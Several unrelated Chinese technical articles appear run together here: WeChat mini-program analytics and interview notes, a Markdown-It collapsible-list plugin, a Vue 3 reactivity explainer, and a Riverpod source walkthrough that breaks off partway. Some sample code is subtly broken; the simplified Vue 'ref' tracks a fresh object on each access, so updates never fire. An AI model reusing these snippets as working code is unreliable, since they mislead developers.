年龄分布 各年龄段占比
地区分布 各省/市用户分布
设备分布 iOS/Android 比例
终端类型 手机/平板

应用场景

  • 精准营销
  • 内容推荐
  • 产品优化

52. 页面访问分析

定义

页面访问分析是对各页面访问数据的统计,了解用户行为路径。

分析指标

指标 说明
访问次数 页面被打开的次数
访问人数 访问页面的独立用户数
停留时长 用户在页面的平均停留时间
退出率 从该页面退出小程序的比例
分享次数 页面被分享的次数

优化策略

  • 高退出率页面需要优化内容
  • 低停留时长页面需要提升吸引力
  • 高访问页面优先优化性能

53. 自定义分析

定义

自定义分析是开发者根据业务需求自定义的数据分析维度。

实现方式

// 自定义上报
function customAnalysis() {
  // 上报自定义数据
  wx.reportAnalytics('custom_event', {
    action: 'click',
    target: 'button',
    value: 100
  })
}

// 云函数分析
exports.main = async (event, context) => {
  const db = cloud.database()
  
  // 统计分析数据
  const result = await db.collection('analytics').aggregate()
    .group({
      _id: '$action',
      count: $.sum(1)
    })
    .sort({ count: -1 })
    .end()
  
  return result
}

54. 事件上报

定义

事件上报是记录用户特定行为的过程,用于数据分析。

实现代码

// 事件上报封装
class AnalyticsTracker {
  // 页面访问
  static trackPageView(pageName, params = {}) {
    wx.reportAnalytics('page_view', {
      page_name: pageName,
      ...params
    })
  }
  
  // 按钮点击
  static trackClick(buttonName, params = {}) {
    wx.reportAnalytics('button_click', {
      button_name: buttonName,
      ...params
    })
  }
  
  // 自定义事件
  static trackEvent(eventName, params = {}) {
    wx.reportAnalytics(eventName, params)
  }
}

// 使用
AnalyticsTracker.trackPageView('home')
AnalyticsTracker.trackClick('buy_button', { productId: '123' })

55. 埋点

定义

埋点是在代码中特定位置插入数据收集逻辑,记录用户行为。

埋点方案

方案一:代码埋点

// 在关键位置手动埋点
function onBuyClick(productId) {
  // 业务逻辑
  doBuy(productId)
  
  // 埋点
  wx.reportAnalytics('buy_click', {
    product_id: productId,
    timestamp: Date.now()
  })
}

方案二:声明式埋点

<!-- 在模板中声明埋点 -->
<button 
  data-track="buy_click"
  data-track-data="{{ {productId: item.id} }}"
  bindtap="onTrackAndExecute"
>
  购买
</button>
// 统一处理
Page({
  onTrackAndExecute(e) {
    const { track, trackData } = e.currentTarget.dataset
    wx.reportAnalytics(track, trackData)
    
    // 执行原有逻辑
    this[track](e)
  }
})

方案三:无埋点(全埋点)

// 拦截页面生命周期
const originalPage = Page
Page = function(config) {
  const originalOnLoad = config.onLoad
  config.onLoad = function(options) {
    // 自动上报页面访问
    wx.reportAnalytics('page_load', {
      page: getCurrentPages().pop().route
    })
    
    if (originalOnLoad) originalOnLoad.call(this, options)
  }
  
  return originalPage(config)
}

最佳实践

  • 埋点要有规划,不要随意添加
  • 关键业务节点必须埋点
  • 埋点数据要验证和清洗
  • 注意用户隐私保护

56. 数据可视化

定义

数据可视化是将分析结果以图表等形式展示。

小程序内图表实现

使用 echarts-for-weixin

<!-- wxml -->
<ec-canvas 
  id="mychart-dom-bar" 
  canvas-id="mychart-bar" 
  ec="{{ ec }}"
></ec-canvas>
import * as echarts from '../../ec-canvas/echarts'

function initChart(canvas, width, height, dpr) {
  const chart = echarts.init(canvas, null, {
    width: width,
    height: height,
    devicePixelRatio: dpr
  })
  canvas.setChart(chart)
  
  const option = {
    title: { text: '访问统计' },
    xAxis: {
      type: 'category',
      data: ['周一', '周二', '周三', '周四', '周五', '周六', '周日']
    },
    yAxis: { type: 'value' },
    series: [{
      data: [120, 200, 150, 80, 70, 110, 130],
      type: 'bar'
    }]
  }
  
  chart.setOption(option)
  return chart
}

Page({
  data: {
    ec: { onInit: initChart }
  }
})

九、综合实战

57. 小程序启动流程

详细流程

1. 下载代码包(主包)
   ↓
2. 解压代码包
   ↓
3. 执行 app.js 的 App() 构造
   ↓
4. 触发 onLaunch 生命周期
   ↓
5. 渲染首页
   ↓
6. 触发首页 onLoad → onShow → onReady

启动优化

App({
  async onLaunch() {
    // 并行执行独立任务
    const [loginRes, configRes] = await Promise.all([
      this.doLogin(),
      this.loadConfig()
    ])
    
    // 使用缓存数据
    const cachedData = wx.getStorageSync('homeData')
    if (cachedData) {
      this.globalData.homeData = cachedData
    }
  },
  
  async doLogin() {
    // 登录逻辑
  },
  
  async loadConfig() {
    // 加载配置
  }
})

58. 小程序生命周期

应用生命周期

App({
  onLaunch(options) {
    // 小程序初始化完成(全局只触发一次)
    console.log('启动参数', options)
  },
  
  onShow(options) {
    // 小程序从后台进入前台
    console.log('场景值', options.scene)
  },
  
  onHide() {
    // 小程序从前台进入后台
  },
  
  onError(error) {
    // 脚本错误或 API 调用失败
    console.error('错误', error)
  },
  
  onPageNotFound(res) {
    // 页面不存在时的回调
    wx.redirectTo({ url: '/pages/index/index' })
  }
})

页面生命周期

Page({
  onLoad(options) {
    // 页面加载(只执行一次)
  },
  
  onShow() {
    // 页面显示(每次显示都触发)
  },
  
  onReady() {
    // 页面初次渲染完成
  },
  
  onHide() {
    // 页面隐藏
  },
  
  onUnload() {
    // 页面卸载
  },
  
  onPullDownRefresh() {
    // 下拉刷新
    wx.stopPullDownRefresh()
  },
  
  onReachBottom() {
    // 上拉触底(分页加载)
  },
  
  onShareAppMessage() {
    // 分享
  },
  
  onPageScroll(e) {
    // 页面滚动
  }
})

十、高频面试题

59. 小程序双线程架构的优缺点?

优点

  • 安全性高:逻辑层与渲染层隔离,不能直接操作 DOM
  • 可控性强:微信可以管控脚本执行
  • 体验一致:双线程架构保证跨平台体验一致

缺点

  • 通信开销:逻辑层和渲染层通信需要序列化
  • 无法直接操作 DOM:需要使用 setData
  • 性能损耗:数据传递存在延迟

60. 小程序如何实现长列表优化?

方案一:分页加载

Page({
  data: {
    list: [],
    page: 1,
    hasMore: true
  },
  
  async loadData() {
    const res = await api.getList({ page: this.data.page })
    this.setData({
      list: [...this.data.list, ...res.data],
      page: this.data.page + 1,
      hasMore: res.hasMore
    })
  },
  
  onReachBottom() {
    if (this.data.hasMore) {
      this.loadData()
    }
  }
})

方案二:虚拟列表

<!-- 只渲染可视区域的元素 -->
<view style="height: {{totalHeight}}px; position: relative;">
  <view style="position: absolute; top: {{startIndex * itemHeight}}px;">
    <view wx:for="{{visibleList}}" wx:key="id">
      <text>{{item.content}}</text>
    </view>
  </view>
</view>

61. 小程序如何实现扫码功能?

Page({
  async scanCode() {
    try {
      const res = await wx.scanCode({
        onlyFromCamera: false,
        scanType: ['qrCode', 'barCode']
      })
      
      console.log('扫码结果', res.result)
      // 处理扫码结果
      this.handleScanResult(res.result)
    } catch (err) {
      console.log('扫码失败', err)
    }
  }
})

62. 小程序如何实现文件下载?

Page({
  async downloadFile(url) {
    wx.showLoading({ title: '下载中' })
    
    try {
      const res = await wx.downloadFile({ url })
      
      // 保存文件
      const saveRes = await wx.saveFileToDisk({
        filePath: res.tempFilePath
      })
      
      wx.showToast({ title: '下载成功' })
    } catch (err) {
      wx.showToast({ title: '下载失败', icon: 'none' })
    } finally {
      wx.hideLoading()
    }
  }
})

63. 小程序如何实现 WebSocket?

class WebSocketManager {
  constructor(url) {
    this.url = url
    this.isConnected = false
    this.reconnectCount = 0
    this.maxReconnect = 5
  }
  
  connect() {
    wx.connectSocket({ url: this.url })
    
    wx.onSocketOpen(() => {
      this.isConnected = true
      this.reconnectCount = 0
      console.log('WebSocket 已连接')
    })
    
    wx.onSocketMessage((res) => {
      const data = JSON.parse(res.data)
      this.onMessage(data)
    })
    
    wx.onSocketClose(() => {
      this.isConnected = false
      this.reconnect()
    })
    
    wx.onSocketError((err) => {
      console.error('WebSocket 错误', err)
      this.reconnect()
    })
  }
  
  reconnect() {
    if (this.reconnectCount < this.maxReconnect) {
      this.reconnectCount++
      setTimeout(() => this.connect(), 3000)
    }
  }
  
  send(data) {
    if (this.isConnected) {
      wx.sendSocketMessage({
        data: JSON.stringify(data)
      })
    }
  }
  
  close() {
    wx.closeSocket()
  }
  
  onMessage(data) {
    // 子类实现
  }
}

基于 Markdown-It 的无序列表折叠插件

当前Markdown已经成为最好的编程语言,同样的Md也成为了产品文档最需要支持的格式,特别是面向开发者的文档。实际上很多情况下编程和文档的场景是非常类似的,因此在时代的推动下,原生支持Md生产和消费的文档系统的需求重新出现。

在这里我们关注于API文档类型的展示,在OpenAIClaudeAPI文档中,可以看到其表达参数列表的形式类似折叠列表。而观察原始的Md文档,就可以看出其参数列表的形式是无序列表,因此我们也实现类似的功能来将无序列表转换为折叠列表展示。

实际上,将无序列表渲染成折叠列表这件事,本身还是面向开发者阅读的,如果单纯是面向AI来消费,则仅提供纯文本的Md内容即可。目前来看,同时需要面向开发者和AI的状态应该还需要存在较长的时间,因此实现一套Md渲染器还是有必要的。

解析规则

首先我们需要分析无序列表结构及其解析后的HTML,基本的无序列表结构如下所示:

- 0 
- 1 
  - 1.1 
  - 1.2 
    - 1.2.1 
    - 1.2.2 
  - 1.3 
    with desc
    - 1.3.1 
    - 1.3.2 
- 2
<ul>
  <li>0</li>
  <li> 1
    <ul>
      <li>1.1</li>
      <li> 1.2
        <ul>
          <li>1.2.1</li>
          <li>1.2.2</li>
        </ul>
      </li>
      <li> 1.3 <br /> with desc
        <ul>
          <li>1.3.1</li>
          <li>1.3.2</li>
        </ul>
      </li>
    </ul>
  </li>
  <li>2</li>
</ul>

可以看出示例中存在三级ul元素结构嵌套,以及描述内容的li元素,我们需要根据不同的情况来解析。理论上而言,只有存在嵌套结构的li元素才需要解析为折叠结构,其子元素内起始到ul之间的内容需要作为标题,ul内元素则作为折叠展开的内容。

通常来说,实现类似手风琴的效果,大概会主动管理状态,用div等元素来绘制折叠面板,然后主动处理点击事件,来切换折叠展开的状态。不过,HTML原生支持了details元素以及summary元素,我们可以借助原生元素来实现折叠列表的效果,其主要优点是:

  • 简单易用,通常情况下不需要主动管理状态,仅需要维护DOM结构。
  • 无需处理事件,特别是在SSR的情况下,不需要再hydrate注入事件。
  • 原生支持搜索,使用浏览器搜索时,可以自动展开包含搜索关键词的折叠列表。
<details>
  <summary>Details</summary>
  Something more.
</details>

那么根据以上的HTML结构,我们可以根据无序列表的结构,转换为details+summary元素的结构。观察其结构,我们可以实现如下转换规则:

  • ul元素作为折叠展开的内容,这里可以自定义为block元素,也可以保持ul元素。
  • li元素内存在嵌套的直属ul元素时,该li元素需要转换为details元素。
  • 转换的details元素的子元素,从起始到ul元素之间的内容,需要包装summary元素。

根据上述的转换规则,我们可以将最开始的无序列表HTML内容转换为details + summary元素的结构:

  • 渲染示例
  • 1
    • 1.1
    • 1.2
      • 1.2.1
      • 1.2.2
      1.3
      with desc
      • 1.3.1
      • 1.3.2
  • 2
<ul>
  <li>渲染示例</li>
  <details>
    <summary>1</summary>
    <ul>
      <li>1.1</li>
      <details>
        <summary>1.2</summary>
        <ul>
          <li>1.2.1</li>
          <li>1.2.2</li>
        </ul>
      </details>
      <details>
        <summary>1.3 <br /> with desc</summary>
        <ul>
          <li>1.3.1</li>
          <li>1.3.2</li>
        </ul>
      </details>
    </ul>
  </details>
  <li>2</li>
</ul>

元素重建

在设计好HTML结构的转换规则后,我们需要在MarkdownIt的基础上实现转换逻辑。在MdIt中提供了诸多时机的Hook函数,我们需要根据处理的时机来实现转换逻辑,通常来说应该尽可能在后处理阶段来实现相关逻辑,这里我们分别实现解析后处理和渲染时处理。

渲染时处理

因此,我们首先来看仅渲染阶段的rule处理逻辑,在上述的转换规则中,将ul元素转换为block元素,以及将li元素渲染为details元素,这两点是没什么问题的。然而,为子节点包装summary元素,则是比较麻烦的。

在仅渲染阶段,这件事并非不能实现,但是却容易破坏MdIt的线性解析模式。如果这是个递归结构,则仅需要将其节点包一层DOM元素即可,而在线性结构中,包装一层summary元素需要在li_open追加<summary>元素,在ul_open前置</summary>元素。

mdIt.renderer.rules.bullet_list_open = (tokens: Token[], idx: number) => {
  const current = tokens[idx];
  for (let i = idx - 1; i >= 0; i--) {
    const token = tokens[i];
    if (token.level < current.level - 1) break;
    if (token.type === "list_item_open" && token.level === current.level - 1) {
      return "</summary>" + "<ul class=\"bullet-summary-group\">";
    }
  }
  return "<ul class=\"bullet-summary-group\">";
};
mdIt.renderer.rules.list_item_open = (tokens: Token[], idx: number) => {
  const current = tokens[idx];
  for (let i = idx + 1; i < tokens.length; i++) {
    const token = tokens[i];
    if (token.level <= current.level)  break;
    if (token.type === "bullet_list_open" && token.level === current.level + 1) {
      return "<details>" + "<summary>";
    }
  }
  return "<li>";
};
mdIt.renderer.rules.list_item_close = (tokens: Token[], idx: number) => {
  const prevToken = tokens[idx - 1];
  if (prevToken && prevToken.tag === "ul") return "</details>";
  return "</li>";
};

虽然这种模式实现起来简单,理论上也并没有什么问题。然而这里存在的问题是,如果我们需要判断大多情况下保持无序列表,仅表达API参数时才将其渲染为折叠列表,那么此时我们在ul元素上方添加@bullet-summary指令来指定渲染模式。

@bullet-summary
- ul
   - li
   - li

那么此时问题在于,如何判断现在现在嵌入的ul元素需要渲染为折叠列表。那么在渲染时机,取得这个渲染指令并不是很容易,因为其本身是扁平的,那么每次调度rule渲染时,都需要迭代向上查找该指令。而如果在渲染时处理p元素的话,则在消费时实现写数据,有点反逻辑。

mdIt.renderer.rules.list_item_open = (tokens: Token[], idx: number) => {
  const current = tokens[idx];
  for (let i = idx - 1; i >= 0; i--) {
    // 找到该组顶级 ul 元素, 检查其前置 @bullet-summary 指令 
  }
};

mdIt.renderer.rules.bullet_list_open = (tokens: Token[], idx: number) => {
  // 检查其前置元素是否为 @bullet-summary 指令, 此时在 env 设置变量
};
mdIt.renderer.rules.bullet_list_close = (tokens: Token[], idx: number) => {
  // 检查其匹配的 ul env 设置的环境变量, 此时在 env 清理环境变量
};

解析时处理

MdIt的解析过程中,除了渲染时的rule处理逻辑,还可以在解析阶段后处理Token,此时可以找到相关指令再实现相关的转换逻辑。由于我们并不没有额外实现新的语法,指令更多是起到了标记的作用,因此不需要时机解析内容,而是重新组织Tokens

那么此时,我们先来判断一下指令标记,如果匹配到了该标记,则需要进入到重建Tokens的阶段。不过在此之前,我们需要将该指令节点隐藏,不过如果渲染指令是注释类型的话,倒是可以直接隐藏而无需特殊处理。

// paragraph_open
//   inline: @bullet-summary
// paragraph_close
// bullet_list_open
if (
  token.content === identifier &&
  token.type === "inline" &&
  nextToken &&
  nextStep2Token &&
  nextToken.type === "paragraph_close" &&
  nextStep2Token.type === "bullet_list_open"
) {
  prevToken && (prevToken.hidden = true);
  (token.hidden = true) && (token.children = []);
  nextToken && (nextToken.hidden = true);
  rebuildUlTokens(state, i + 2);
}

紧接着,我们需要找到该节点的对应close节点,以此来圈定具体需要处理的范围。说起来,由于MdIt的解析是线性的,虽然规避了递归的问题,但是最差情况下时间复杂度还是O(n)。此外,由于token.level并不太准确,因此还需要维护一个栈深度来记录当前的层级。

const baseType = openToken.type.slice(0, -5);
const closeType = baseType + "_close";
// open      1
// start iterator
//   open    2
//   close   1
// close     0
// end iterator
let level = 1;
for (let i = openIdx + 1; i < tokens.length; i++) {
  const token = tokens[i];
  if (token.type === openToken.type) {
    level++;
  } else if (token.type === closeType) {
    level--;
    if (level <= 0) return i;
  }
}
return -1;

接下来,需要对ul元素做一些修改,主要是为ul加入class属性,用以指定样式。然后维护一个栈,来记录li元素相互对应的节点。此外,这里有个重要的点是要从后向前遍历,以免前置内容的修改影响后续节点的处理,特别是在插入元素的情况下。

const stack: Token[] = [];
// 从后向前遍历, 避免修改后, 影响后续 i 遍历
for (let i = closeIdx; i >= startIdx; i--) {
  const token = tokens[i];
  if (token.type === "bullet_list_open") {
    token.attrJoin("class", "bullet-summary-group");
  }
  if (token.type === "list_item_close") {
    stack.push(token);
  }
  if (token.type === "list_item_open") {
    const peer = stack.pop();
    rebuildLiTokens(state, i, peer, actions);
  }
}

在匹配到list_item_open节点时,就需要重建li元素结构了,这部分就会更复杂一些。首先我们创建一个对应元素区域的迭代器,来遍历openclose之间的所有节点。迭代器中重要的实现是要携带相关的meta信息,辅助计算层级关系。

let depth = 0;
for (let i = openIdx; i < tokens.length; i++) {
  const token = tokens[i];
  if (token.nesting >= 0) {
    depth++;
  }
  yield { token, depth: depth - 1, idx: i, serial: i - openIdx };
  if (token.nesting <= 0) {
    depth--;
    if (depth <= 0) break;
  }
}

li节点区域遍历过程中,我们需要根据depth来判断其直属子元素。如果直属子元素为ul,则代表该li元素嵌套了无序列表,这样就需要将其转换为details元素。注意,这里修改其type不应该影响外层的栈,需要注意保持关系正确。

// 查找 li 下的子项, 主要目的是检查其直属子元素
for (const node of walker) {
  const k = node.idx;
  const tokenK = node.token;
  if (node.depth !== 1) continue;
  // 直属的 ul 子项, 若是存在则需要转换为 details 组
  if (tokenK.type === "bullet_list_open") {
    // i 的 li 元素需要变为 details 元素
    liToken.type = "li_details_open";
    liToken.tag = "details";
  }
}

接下来,我们需要为i - k之间的元素创建summary元素,用以指定折叠标题。这里是最难以处理的点,因为不仅是修改内容,还需要插入新的token。并且需要对其peer节点进行处理,将其token.type转换为li_details_close元素。

// 为 i - k 之间的元素创建 summary
const sOpen = new state.Token("li_summary_open", "summary", 1);
const sClose = new state.Token("li_summary_close", "summary", -1);
// 现在 peer 是 i 之后的元素, 不会影响原始遍历 li 的栈平衡
if (peer) {
  peer.type = "li_details_close";
  peer.tag = "details";
}
// 处理 summary 元素的插入位置
actions.push({ idx: openIdx + 1, token: sOpen });
actions.push({ idx: k, token: sClose });

上述的actions是需要关注的点,我们并不会直接修改tokens数组,因为此时修改tokens数组会导致其长度发生变化,从而影响到后续节点的遍历,以及插入位置的计算。在这里我们统一处理插入行为,这里需要关注的是按索引从大到小排序, 后索引的元素, 不影响前索引的元素。

actions
  .sort((a, b) => b.idx - a.idx)
  .forEach(action => {
    tokens.splice(action.idx, 0, action.token);
  });

最后,由于我们插入了新的层级,我们需要将内部的level也更新一下。因此从这里也可以看出来level并不是那么准确,如果注册的插件并没有处理好level的话,则会影响到后续依赖该字段的插件。

// 处理 summary 及其内部元素的 level
sOpen.level = liToken.level + 1;
sClose.level = liToken.level + 1;
for (let i = openIdx + 1; i < k; i++) {
  const token = tokens[i];
  token.level = (token.level || 0) + 1;
}

CSS 样式

实际上,由于不同浏览器的details + summary元素的默认样式不同,因此需要对其样式进行统一化处理。不过,这部分主要是由组件库来实现的,我们只需要关注其基本功能即可。此外提一下,summary还是需要一个border样式的,特别是存在多行内容的情况下。

/*
 * Add the correct display in Edge, IE 10+, and Firefox.
 */
details {
  display: block;
}

/*
 * Add the correct display in all browsers.
 */
summary {
  display: list-item;
}

总结

在这里我们基于MdIt,解析了基础的无序列表结构,并且观察了其层级关系,设计出了一套DOM结构转换规则。基于此分别使用纯渲染模式以及解析后处理模式,实现了无序列表折叠插件,这种结构表达在思维导图和API参数表达中非常有用。

实际上,我们实现的插件还有很多可以优化的地方。首先我们可以将结构化表达和渲染时表达结合起来,在解析后处理时仅需要将需要相关token写入标记,在渲染时处理标签结构即可。此外,结构处理写入的时候实际上应该将所有变更统一处理,以避免影响现有遍历和判断,理论上应该引入OT-JSON来处理各个变更之间的相互影响。

每日一题

参考

Vue 3 响应式原理深度解析

引言

Vue 3 最大的革新之一就是响应式系统的重构。从 Vue 2 的 Object.defineProperty 升级到基于 Proxy 的实现,带来了性能提升和功能增强。本文将深入剖析 Vue 3 响应式系统的核心原理,让你真正理解 refreactive 等 API 背后的秘密。

一、Vue 2 的局限性

在 Vue 2 中,响应式系统使用 Object.defineProperty 实现:

// Vue 2 的响应式实现(简化版)
function defineReactive(obj, key, val) {
  const dep = new Dep();
  Object.defineProperty(obj, key, {
    get() {
      // 收集依赖
      if (Dep.target) {
        dep.addSub(Dep.target);
      }
      return val;
    },
    set(newVal) {
      if (newVal !== val) {
        val = newVal;
        // 通知更新
        dep.notify();
      }
    }
  });
}

主要问题:

  1. 无法检测对象属性的添加和删除
  2. 无法检测数组索引的变化
  3. 需要 递归 遍历所有属性,性能开销大
  4. 不支持 Map Set 等数据结构

二、Vue 3 的 Proxy 方案

Vue 3 使用 Proxy 重构了响应式系统:

// Vue 3 的响应式实现(简化版)
function reactive(obj) {
  return new Proxy(obj, {
    get(target, key, receiver) {
      const res = Reflect.get(target, key, receiver);
      // 依赖收集
      track(target, key);
      // 如果是对象,递归处理
      return isObject(res) ? reactive(res) : res;
    },
    set(target, key, value, receiver) {
      const oldValue = target[key];
      const res = Reflect.set(target, key, value, receiver);
      // 触发更新
      if (oldValue !== value) {
        trigger(target, key);
      }
      return res;
    },
    deleteProperty(target, key) {
      const res = Reflect.deleteProperty(target, key);
      if (res) {
        trigger(target, key);
      }
      return res;
    }
  });
}

优势:

  • ✅ 可以拦截属性的添加和删除
  • ✅ 支持数组索引变化
  • ✅ 支持 MapSetWeakMapWeakSet
  • ✅ 懒代理,提升性能

三、核心概念解析

1. 依赖收集(Track)

// 全局的 activeEffect
let activeEffect = null;
const targetMap = new WeakMap();

function track(target, key) {
  if (!activeEffect) return;
  
  let depsMap = targetMap.get(target);
  if (!depsMap) {
    depsMap = new Map();
    targetMap.set(target, depsMap);
  }
  
  let dep = depsMap.get(key);
  if (!dep) {
    dep = new Set();
    depsMap.set(key, dep);
  }
  
  dep.add(activeEffect);
}

2. 触发更新(Trigger)

function trigger(target, key) {
  const depsMap = targetMap.get(target);
  if (!depsMap) return;
  
  const dep = depsMap.get(key);
  if (dep) {
    dep.forEach(effect => effect());
  }
}

3. Effect 副作用函数

function effect(fn) {
  const effectFn = () => {
    activeEffect = effectFn;
    const result = fn();
    activeEffect = null;
    return result;
  };
  
  // 立即执行一次,收集依赖
  effectFn();
  return effectFn;
}

四、ref 与 reactive 的区别

ref - 处理基本类型

import { ref, effect } from 'vue';

const count = ref(0);

// 访问需要 .value
effect(() => {
  console.log(count.value); // 自动追踪
});

// 修改
count.value++;

实现原理:

function ref(value) {
  return {
    _isRef: true,
    get value() {
      track({ _isRef: true }, 'value');
      return value;
    },
    set value(newVal) {
      if (value !== newVal) {
        value = newVal;
        trigger({ _isRef: true }, 'value');
      }
    }
  };
}

reactive - 处理对象

import { reactive, effect } from 'vue';

const state = reactive({
  user: {
    name: '张三',
    age: 25
  },
  items: []
});

effect(() => {
  console.log(state.user.name);
  console.log(state.items.length);
});

// 修改任意属性都会触发更新
state.user.age = 26;
state.items.push('新项');

五、实际应用场景

场景 1:表单双向绑定

import { ref, effect } from 'vue';

const form = ref({
  username: '',
  password: ''
});

// 自动追踪表单变化
effect(() => {
  console.log('表单数据:', form.value);
  // 这里可以自动提交或验证
});

// 修改表单
form.value.username = 'admin';

场景 2:计算属性

import { ref, computed } from 'vue';

const firstName = ref('张');
const lastName = ref('三');

const fullName = computed(() => {
  return firstName.value + lastName.value;
});

// 当 firstName 或 lastName 变化时,fullName 自动更新
firstName.value = '李';
console.log(fullName.value); // '李三'

场景 3:列表渲染优化

import { reactive, effect } from 'vue';

const list = reactive([
  { id: 1, text: 'Item 1' },
  { id: 2, text: 'Item 2' }
]);

effect(() => {
  // 只追踪实际使用的数据
  list.forEach(item => {
    console.log(item.text);
  });
});

// 添加新项只会触发一次更新
list.push({ id: 3, text: 'Item 3' });

六、性能优化技巧

1. 使用 shallowRefshallowReactive

对于大型对象,不需要深度响应式:

import { shallowRef, shallowReactive } from 'vue';

// 只追踪顶层属性
const largeData = shallowRef({
  config: { /* 大量配置 */ },
  cache: new Map() // 内部变化不会触发更新
});

// 手动触发更新
largeData.value = newData;

2. 使用 markRaw 避免不必要的代理

import { reactive, markRaw } from 'vue';

const state = reactive({
  // 不需要响应式的对象
  apiClient: markRaw(new Axios())
});

七、总结

Vue 3 的响应式系统通过 Proxy 实现了更强大、更高效的响应式能力:

核心要点:

  1. Proxy 比 Object.defineProperty 更强大 - 支持更多操作
  2. 依赖收集是核心 - tracktrigger 配合工作
  3. ref reactive 各有适用场景 - 基本类型用 ref,对象用 reactive
  4. 性能优化很重要 - 合理使用 shallowRef、markRaw 等工具

最佳实践

  • 优先使用 composition API 组织代码
  • 对大型对象使用 shallowRef 提升性能
  • 避免在 setup 中创建不必要的响应式对象
  • 使用 toRefs 解构 reactive 对象保持响应式

Vue 3 的响应式系统不仅是一个技术升级,更是开发体验的巨大提升。理解其原理,能让你更好地利用 Vue 3 的强大功能,写出更高效、更优雅的代码。

状态管理大乱斗#06 | Riverpod 源码评析 (下) - 外功心法

aeb07d6daf42f480cdfcd33f7b87ab55.png

引言:

前两篇我们拆解了 Riverpod 的核心架构和类型系统。那些是"内功"。这一篇聊"外功"——Riverpod 怎么和 Flutter 的 Widget 树连接起来,以及在实战中有哪些值得掌握的技巧。

Riverpod 的状态管理系统是独立于 Widget 树的,但最终状态要驱动 UI 更新。这个"桥梁"怎么搭的?搭得好不好?看完源码你就知道了。


一、ProviderScope:桥梁的桥墩

ProviderScope 是 Riverpod 和 Flutter 之间的桥梁。每个 Flutter 应用的根部都要包一个 ProviderScope,它的作用是把 ProviderContainer 注入到 Widget 树中。


1. ProviderScope 的本质
---->[packages/flutter_riverpod/lib/src/core/provider_scope.dart#ProviderScope]----
final class ProviderScope extends StatefulWidget {
  const ProviderScope({
    super.key,
    this.overrides = const [],
    this.observers,
    this.retry,
    required this.child,
  });

  final List<Override> overrides;
  final List<ProviderObserver>? observers;
  final Widget child;
}

ProviderScope 本身是一个 StatefulWidget。它在 initState 中创建 ProviderContainer,在 dispose 中销毁它:

---->[packages/flutter_riverpod/lib/src/core/provider_scope.dart#ProviderScopeState]----
class ProviderScopeState extends State<ProviderScope> {
  late final ProviderContainer container;

  @override
  void initState() {
    super.initState();
    final parent = _getParent();  // tag1: 查找父 ProviderScope

    container = ProviderContainer(
      parent: parent,              // tag2: 建立容器树
      overrides: widget.overrides,
      observers: widget.observers,
    );
  }

  @override
  void dispose() {
    container.dispose();  // tag3: Widget 销毁时,容器也销毁
    super.dispose();
  }
}

tag1 处通过 context.getElementForInheritedWidgetOfExactType 查找父级的 ProviderScope。如果找到了,新容器以它为 parent(tag2)。tag3 处 Widget 销毁时容器也销毁——生命周期和 Widget 树绑定。


2. _UncontrolledProviderScope:真正的 InheritedWidget

ProviderScopebuild 方法返回的是一个 UncontrolledProviderScope,它内部包了一个 _UncontrolledProviderScope——这才是真正的 InheritedWidget

---->[packages/flutter_riverpod/lib/src/core/provider_scope.dart#_UncontrolledProviderScope]----
final class _UncontrolledProviderScope extends InheritedWidget {
  const _UncontrolledProviderScope({
    required this.container,
    required super.child,
  });

  final ProviderContainer container;

  @override
  bool updateShouldNotify(_UncontrolledProviderScope oldWidget) {
    return container != oldWidget.container;  // tag4: 容器变了才通知
  }
}

tag4 处的 updateShouldNotify 只在容器实例变化时返回 true。容器实例在 ProviderScope 的生命周期内不会变,所以这个 InheritedWidget 几乎不会触发子树重建。

停下来想想:如果 updateShouldNotify 总是返回 false,那 Consumer 是怎么知道 Provider 的值变了的?

答案:Consumer 不是通过 InheritedWidget 的通知机制来感知 Provider 变化的。它是通过 ProviderSubscription 直接订阅 Provider,Provider 变化时通过订阅回调触发 setState。InheritedWidget 只是用来传递 ProviderContainer 的引用,不负责状态变化的通知。

这是一个很聪明的设计:用 InheritedWidget 做"容器的传递"(低频),用 Subscription 做"状态的通知"(高频)。两个机制各司其职。


3. vsync 同步:和 Flutter 帧对齐

_UncontrolledProviderScopeState 中有一段关键代码:

---->[packages/flutter_riverpod/lib/src/core/provider_scope.dart#_UncontrolledProviderScopeState]----
@override
void initState() {
  super.initState();
  widget.container.scheduler.flutterVsyncs.add(_flutterVsync); // tag5: 注册帧同步
}

void _flutterVsync(Task task) {
  _task = task;
  _vsyncTimer = Timer(Duration.zero, () {
    if (mounted) setState(() {});  // tag6: 触发 Widget 重建

    _vsyncTimOutTimer = Timer(Duration.zero, () {
      _callTask();  // tag7: 执行调度任务
    });
  });
}

@override
Widget build(BuildContext context) {
  _callTask();  // tag8: build 时执行待处理的任务
  // ...
}

tag5 处把 _flutterVsync 注册到调度器中。当有 Provider 需要刷新时,调度器调用 _flutterVsync,它通过 setStatetag6)触发 Widget 重建。在 build 方法中(tag8),待处理的任务被执行,Provider 的值被刷新。

这个机制保证了 Provider 的刷新和 Flutter 的帧渲染是同步的——Provider 在 Widget build 之前完成刷新,Widget 读到的永远是最新值。


二、ConsumerWidget:水龙头

ConsumerWidget 是用户接触最多的 API。它让 Widget 能够读取 Provider 的值,并在值变化时自动重建。


1. WidgetRef 的设计
---->[packages/flutter_riverpod/lib/src/core/widget_ref.dart#WidgetRef]----
sealed class WidgetRef implements MutationTarget {
  BuildContext get context;

  StateT watch<StateT>(ProviderListenable<StateT> provider);
  StateT read<StateT>(ProviderListenable<StateT> provider);
  void listen<StateT>(ProviderListenable<StateT> provider, /* ... */);
  ProviderSubscription<StateT> listenManual<StateT>(/* ... */);
  StateT refresh<StateT>(Refreshable<StateT> provider);
  void invalidate(ProviderOrFamily provider);
}

WidgetRef 是一个 sealed class,和 Ref 类似但面向 Widget 层。它的 API 和 Ref 几乎一样:watchreadlisten。区别在于 WidgetRef 多了一个 context 属性,以及 listenManual 方法。

为什么要分 RefWidgetRef 两个接口?因为它们的使用场景不同:

  • Ref 在 Provider 的 build 函数中使用,生命周期和 Provider 绑定
  • WidgetRef 在 Widget 的 build 方法中使用,生命周期和 Widget 绑定

分开之后,编译器能帮你检查:你不会在 Widget 层误用 ref.invalidateSelf()(那是 Provider 层的 API),也不会在 Provider 层误用 ref.context(那是 Widget 层的 API)。


2. Consumer 的 build 流程
---->[packages/flutter_riverpod/lib/src/core/consumer.dart#Consumer]----
final class Consumer extends ConsumerWidget {
  const Consumer({super.key, required this.builder, this.child});

  final ConsumerBuilder builder;
  final Widget? child;

  @override
  Widget build(BuildContext context, WidgetRef ref) {
    return builder(context, ref, child);
  }
}

